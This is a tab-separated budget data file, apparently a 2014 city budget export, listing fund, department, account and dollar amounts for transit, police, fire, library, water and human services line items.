5454	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	7688.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7688.0
5455	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	8456.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8456.0
5456	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2014	1784056.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1784056.0
5457	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2014	10539.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10539.0
5458	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	38497.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38497.0
5459	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	271687.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	271687.0
5460	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	36309.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36309.0
5461	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	1369325.02	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1369325.02
5462	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	94777.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	94777.0
5463	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	8766.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8766.0
5464	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579960.0	BIG BLUE BUS/GEN FUND REIMBURS		 Supplies and Expenses	2014	79763.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	79763.0
5465	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
5466	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	105.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	105.0
5467	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400770.0	LEASE RENTAL REV-BEACH CLUB	618.0	Rentals	2014	-289614.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-289614.0
5468	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	616354.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	616354.0
5469	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	29086.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29086.0
5470	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	1200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1200.0
5471	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2014	4305.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4305.0
5472	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	4520152.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4520152.0
5473	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511490.0	OVERTIME		Salaries and Wages	2014	5050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5050.0
5474	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	577065.0	MEMBERSHIP FEES		 Supplies and Expenses	2014	769.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	769.0
5475	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407030.0	PROP C FOOTHILL MITIGATION	658.0	Sales Tax	2014	-543804.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-543804.0
5476	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555020.0	OUTSIDE SERVICE-SECURITY		 Supplies and Expenses	2014	466000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	466000.0
5477	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	901347.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	901347.0
5478	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2014	10836.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10836.0
5479	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PRINTING - GENERAL		 Supplies and Expenses	2014	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
5480	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNREALIZED GAIN / LOSS	616.0	Investment Income	2014	-1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1000.0
5481	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	4038.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4038.0
5482	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	16120.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16120.0
5483	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522950.0	CNG FUEL		 Supplies and Expenses	2014	732.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	732.0
5484	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544040.0	BOOKS / PAMPHLETS	810.0	 Supplies and Expenses	2014	1538.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1538.0
5485	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	566910.0	MAINTENANCE-PARKING FACILITIES	816.0	 Supplies and Expenses	2014	117360.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	117360.0
5486	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407501.0	CAPITAL GRANTS-MISC PROJ-TDA	657.0	Capital Grants	2014	-8855540.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8855540.0
5487	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	407550.0	FIRE COMMERCIAL INSPECT FEES	612.0	Charges for Service	2014	-934400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-934400.0
5488	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522840.0	FUEL AND OIL TAXES-SVC EQUIP		 Supplies and Expenses	2014	15375.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15375.0
5489	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522830.0	FUEL AND OIL TAXES-REV EQUIP		 Supplies and Expenses	2014	1025.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1025.0
5490	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2014	7872.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7872.0
5491	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	1022788.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1022788.0
5492	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	263606.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	263606.0
5493	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	327511.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	327511.0
5494	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	581375.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	581375.0
5495	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	11623.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11623.0
5496	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	2154.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2154.0
5497	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2014	1538.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1538.0
5498	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	29076.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29076.0
5499	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	1729.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1729.0
5500	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	89875.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	89875.0
5501	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	9711.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9711.0
5502	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	4449.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4449.0
5503	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562122.0	CHILD CARE CTR SUPPORT PROG		 Supplies and Expenses	2014	80000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	80000.0
5504	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562154.0	FM SVC SM-SAPID & ON THE MOVE		 Supplies and Expenses	2014	43398.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43398.0
5505	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563111.0	WISE CONNECTIONS		 Supplies and Expenses	2014	46586.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	46586.0
5506	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563141.0	SM/MAL-MEALS ON WHEELS-GEN FND		 Supplies and Expenses	2014	48973.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	48973.0
5507	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544040.0	BOOKS/PAMPHLETS	816.0	 Supplies and Expenses	2014	50.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50.0
5508	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2014	15358.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15358.0
5509	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	402730.0	SMURRF-CITY OF LA-O & M	650.0	Charges for Service	2014	-156825.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-156825.0
5510	BA	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577170.0	GAS TAXES REIMBURSEMENT	910.0	 Supplies and Expenses	2014	2395940.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2395940.0
5511	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577090.0	REIMBURSE WATER FUND		 Supplies and Expenses	2014	37068.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	37068.0
5512	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	103.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	103.0
5513	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522180.0	BANK FEES		 Supplies and Expenses	2014	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
5514	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2014	43979.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43979.0
5515	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400220.0	MEMORIAL PARK GYM USER FEE	612.0	Charges for Service	2014	-21612.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-21612.0
5516	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5517	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511920.0	UNIFORM / TOOL ALLOWANCE	816.0	Salaries and Wages	2014	14400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14400.0
5518	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577880.0	SMURRF O&M COSTS		 Supplies and Expenses	2014	-444338.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-444338.0
5519	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570130.0	GF/SPEC FD REIM. AHPP DEV FEE	910.0	 Supplies and Expenses	2014	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
5520	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555010.0	CONTRACTUAL SERVICES	816.0	 Supplies and Expenses	2014	7396849.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7396849.0
5521	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2014	4809.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4809.0
5522	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
5523	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	544115.0	FARE MEDIA		 Supplies and Expenses	2014	56000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	56000.0
5524	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404210.0	OTHER OPER REV-ADVERTISING	650.0	Charges for Service	2014	-1413000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1413000.0
5525	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	407340.0	US TREASURY REIMBURSEMENTS	610.0	Intergovernmental	2014	-52275.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-52275.0
5526	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407390.0	GYM RENTALS	618.0	Rentals	2014	-45990.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-45990.0
5527	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577066.0	DELIVERY CHARGES		 Supplies and Expenses	2014	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
5528	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511012.0	EST PAY RAISE-GEN GOV	804.0	Salaries and Wages	2014	1779569.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1779569.0
5529	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	10428.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10428.0
5530	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	115847.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	115847.0
5531	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	194808.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	194808.0
5532	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	10390.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10390.0
5533	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511773.0	RETIREMENT - MISC. EMPL	840.0	Salaries and Wages	2014	720168.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	720168.0
5534	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511749.0	VISION	806.0	Salaries and Wages	2014	15318.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15318.0
5535	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2014	23949.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23949.0
5536	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511749.0	VISION	804.0	Salaries and Wages	2014	1112.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1112.0
5537	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2014	2882.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2882.0
5538	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511748.0	DENTAL	816.0	Salaries and Wages	2014	35048.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35048.0
5539	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511748.0	DENTAL	812.0	Salaries and Wages	2014	22616.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22616.0
5540	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2014	7539.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7539.0
5541	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2014	14097.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14097.0
5542	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511748.0	DENTAL	840.0	Salaries and Wages	2014	48705.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	48705.0
5543	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511749.0	VISION	840.0	Salaries and Wages	2014	6191.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6191.0
5544	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511748.0	DENTAL	808.0	Salaries and Wages	2014	3464.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3464.0
5545	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	367.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	367.0
5546	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	4160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4160.0
5547	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		DCAP	804.0	Salaries and Wages	2014	1464.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1464.0
5548	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	8954.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8954.0
5549	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		UNEMPLOYMENT	810.0	Salaries and Wages	2014	4769.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4769.0
5550	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	5479.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5479.0
5551	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	24296.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24296.0
5552	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	72923.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72923.0
5553	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	171354.17	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	171354.17
5554	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400480.0	SALES TAX IN-LIEU	604.0	Sales Tax	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5555	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	332015.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	332015.0
5556	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	36462.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36462.0
5557	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	148305.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	148305.0
5558	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	46852.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	46852.0
5559	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	136918.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	136918.0
5560	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	90973.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	90973.0
5561	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	159755.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	159755.0
5562	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2014	19100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19100.0
5563	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2014	413894.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	413894.0
5564	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511743.0	MEDICAL - MISC. EMPL	840.0	Salaries and Wages	2014	352245.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	352245.0
5565	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511773.0	RETIREMENT - MISC. EMPL	840.0	Salaries and Wages	2014	294269.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	294269.0
5566	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2014	7819.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7819.0
5567	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511749.0	VISION	806.0	Salaries and Wages	2014	22248.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22248.0
5568	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5569	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511748.0	DENTAL	806.0	Salaries and Wages	2014	85319.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	85319.0
5570	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511749.0	VISION	804.0	Salaries and Wages	2014	1233.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1233.0
5571	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	383.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	383.0
